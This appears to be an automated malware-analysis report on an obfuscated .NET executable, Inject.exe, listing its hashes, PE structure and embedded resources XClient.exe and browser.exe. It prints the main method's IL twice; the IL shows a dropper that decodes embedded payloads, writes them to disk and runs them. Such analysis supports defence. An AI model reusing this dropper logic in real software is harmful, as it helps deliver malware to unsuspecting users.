Suspicious
Suspect

802ca519b13d122f503924b5df326c53

PE Executable
|
MD5: 802ca519b13d122f503924b5df326c53
|
Size: 2.06 MB
|
application/x-dosexec


Print
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Very high

Hash
Hash Value
MD5
802ca519b13d122f503924b5df326c53
Sha1
a4d783cfa35838ced48e03edde4c51b4f03b9d27
Sha256
7f2345635dd1b580bfce11006c4b0143e4c6c84f8a5039e8c92c6e27a05e829a
Sha384
b08801188696979d09b678944092d8f1020b560638c76eed9a0ad06a07f7dea6e36e53adefd3ad1a6da943db7e1eda1a
Sha512
11a71323cbf49e793702cf3c8ec378a4526bbb127cc5787117e4ab86ae1558bee01154ce00e087134611871512dd6b6ae9043b041e9952504216490265b07003
SSDeep
24576:usVXb7GEzxxuHlRMnYNZJPTwc7BkrmHHBtn0Ujxw+UXQomnJ/CBFgKD2t6qom7E9:u2z8HZJPUYnPjJUen8BhD6xq4Z8p19
TLSH
CC95F0542985D362F23A3A619BD39A0485B70D1EC4524BA8FF40FCD537F8EF2B42B646

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual C++ v6.0 DLL
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
wkfbrwrckgvfke.Resources
XClient.exe
browser.exe
Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

Inject.exe

Full Name

Inject.exe

EntryPoint

System.Void sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::hD88QW678XXk9hkziLxIKjoRE07XzG5BK0XCLwLbzTC7JoS()

Scope Name

Inject.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

Inject

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

25

Main Method

System.Void sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::hD88QW678XXk9hkziLxIKjoRE07XzG5BK0XCLwLbzTC7JoS()

Main IL Instruction Count

159

Main IL

ldc.i4.1 <null> stloc.s V_5 call System.Boolean sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::oocwxRpDXBbDhuTPXV2rsmch75scbIHb03n66oDfznIIO5r() brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.2 <null> stloc.s V_5 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.1 <null> stloc.3 <null> ldc.i4.5 <null> stloc.s V_5 ldsfld System.Collections.Generic.List`1<System.String> sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::9boiS9IV45M24dLhe1LAeDuJQayDZKOfsFoyfUGjdbVwAei callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.2 <null> br IL_0130: ldloca.s V_2 ldloca.s V_2 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.0 <null> ldc.i4.6 <null> stloc.s V_5 ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::6gfNWTxvLHsjccQNCs4sE71ghIheuQeZet1nEKpfjEbR17k call System.Object sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::mbkDbNRN83rhdnyP5ENCWOZl3Hja1asOGMNEh41hf0J36nA(System.String) ldstr \ call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::QRpwrAe0JblkNkcgPuar1nnEUPggbhDMsVv4tBdX3IqQl70 ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stloc.1 <null> ldc.i4.7 <null> stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::QRpwrAe0JblkNkcgPuar1nnEUPggbhDMsVv4tBdX3IqQl70 ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.2 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_00CB: ldc.i4.s 13 ldc.i4.8 <null> stloc.s V_5 ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_00C9: br.s IL_0123 ldc.i4.s 9 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::QRpwrAe0JblkNkcgPuar1nnEUPggbhDMsVv4tBdX3IqQl70 ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::FdnxrVgKPn5eLbG2CkwB9sUHXldBPaG6w88nlDgQdyFPXlr(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 10 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> br.s IL_0123: ldc.i4.s 19 ldc.i4.s 13 stloc.s V_5 ldc.i4.s 14 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::QRpwrAe0JblkNkcgPuar1nnEUPggbhDMsVv4tBdX3IqQl70 ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::FdnxrVgKPn5eLbG2CkwB9sUHXldBPaG6w88nlDgQdyFPXlr(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 15 stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::QRpwrAe0JblkNkcgPuar1nnEUPggbhDMsVv4tBdX3IqQl70 ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.1 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_0123: ldc.i4.s 19 ldc.i4.s 16 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldc.i4.s 19 stloc.s V_5 call System.Void System.GC::Collect() ldc.i4.s 20 stloc.s V_5 ldloca.s V_2 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue IL_002D: ldloca.s V_2 ldloca.s V_2 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() leave IL_01F8: ldloc.s V_4 ldloc.s V_4 br.s IL_0156: ldc.i4.0 ldloc.s V_4 ldc.i4.1 <null> add <null> ldc.i4.0 <null> stloc.s V_4 switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 ldloc.s V_5 stloc.s V_4 ldloc.3 <null> switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 isinst System.Exception ldnull <null> cgt.un <null> ldloc.3 <null> ldc.i4.0 <null> cgt.un <null> and <null> ldloc.s V_4 ldc.i4.0 <null> ceq <null> and <null> endfilter <null> castclass System.Exception call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) leave.s IL_01B8: ldloc.s V_5 ldc.i4 -2146828237 call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32) throw <null> ldloc.s V_4 brfalse.s IL_0201: ret call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ret <null>

Module Name

Inject.exe

Full Name

Inject.exe

EntryPoint

System.Void sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::hD88QW678XXk9hkziLxIKjoRE07XzG5BK0XCLwLbzTC7JoS()

Scope Name

Inject.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

Inject

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

25

Main Method

System.Void sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::hD88QW678XXk9hkziLxIKjoRE07XzG5BK0XCLwLbzTC7JoS()

Main IL Instruction Count

159

Main IL

ldc.i4.1 <null> stloc.s V_5 call System.Boolean sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::oocwxRpDXBbDhuTPXV2rsmch75scbIHb03n66oDfznIIO5r() brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.2 <null> stloc.s V_5 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.1 <null> stloc.3 <null> ldc.i4.5 <null> stloc.s V_5 ldsfld System.Collections.Generic.List`1<System.String> sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::9boiS9IV45M24dLhe1LAeDuJQayDZKOfsFoyfUGjdbVwAei callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.2 <null> br IL_0130: ldloca.s V_2 ldloca.s V_2 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.0 <null> ldc.i4.6 <null> stloc.s V_5 ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::6gfNWTxvLHsjccQNCs4sE71ghIheuQeZet1nEKpfjEbR17k call System.Object sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::mbkDbNRN83rhdnyP5ENCWOZl3Hja1asOGMNEh41hf0J36nA(System.String) ldstr \ call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::QRpwrAe0JblkNkcgPuar1nnEUPggbhDMsVv4tBdX3IqQl70 ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stloc.1 <null> ldc.i4.7 <null> stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::QRpwrAe0JblkNkcgPuar1nnEUPggbhDMsVv4tBdX3IqQl70 ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.2 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_00CB: ldc.i4.s 13 ldc.i4.8 <null> stloc.s V_5 ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_00C9: br.s IL_0123 ldc.i4.s 9 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::QRpwrAe0JblkNkcgPuar1nnEUPggbhDMsVv4tBdX3IqQl70 ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::FdnxrVgKPn5eLbG2CkwB9sUHXldBPaG6w88nlDgQdyFPXlr(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 10 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> br.s IL_0123: ldc.i4.s 19 ldc.i4.s 13 stloc.s V_5 ldc.i4.s 14 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::QRpwrAe0JblkNkcgPuar1nnEUPggbhDMsVv4tBdX3IqQl70 ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::FdnxrVgKPn5eLbG2CkwB9sUHXldBPaG6w88nlDgQdyFPXlr(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 15 stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String sBp3UQC34Mz8oONoeqTY4y9fYIUDSZsfekYljhYGHdurItm::QRpwrAe0JblkNkcgPuar1nnEUPggbhDMsVv4tBdX3IqQl70 ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.1 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_0123: ldc.i4.s 19 ldc.i4.s 16 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldc.i4.s 19 stloc.s V_5 call System.Void System.GC::Collect() ldc.i4.s 20 stloc.s V_5 ldloca.s V_2 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue IL_002D: ldloca.s V_2 ldloca.s V_2 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() leave IL_01F8: ldloc.s V_4 ldloc.s V_4 br.s IL_0156: ldc.i4.0 ldloc.s V_4 ldc.i4.1 <null> add <null> ldc.i4.0 <null> stloc.s V_4 switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 ldloc.s V_5 stloc.s V_4 ldloc.3 <null> switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 isinst System.Exception ldnull <null> cgt.un <null> ldloc.3 <null> ldc.i4.0 <null> cgt.un <null> and <null> ldloc.s V_4 ldc.i4.0 <null> ceq <null> and <null> endfilter <null> castclass System.Exception call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) leave.s IL_01B8: ldloc.s V_5 ldc.i4 -2146828237 call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32) throw <null> ldloc.s V_4 brfalse.s IL_0201: ret call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ret <null>

802ca519b13d122f503924b5df326c53 (2.06 MB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙